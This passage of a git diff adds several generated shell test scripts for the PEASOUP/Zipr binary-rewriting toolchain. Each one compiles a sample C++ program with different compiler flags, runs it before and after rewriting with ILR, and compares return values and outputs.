+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2c5a478dd74cfcd262c599cf9668e639f7faeda1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..448b90a321ee1b71bc8eb918da0a2bdcddd2c4ae
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..15b37537e28ceef08b6a7128d18ace87848ad2a8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e5b3c26cec778754813a3052435cc227bb70340e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3c115d04c27c9d374aedf8b4ddfd037cc9eab3f6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4afdd68aa9548fac08c0484bc730dbf830cf69bb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
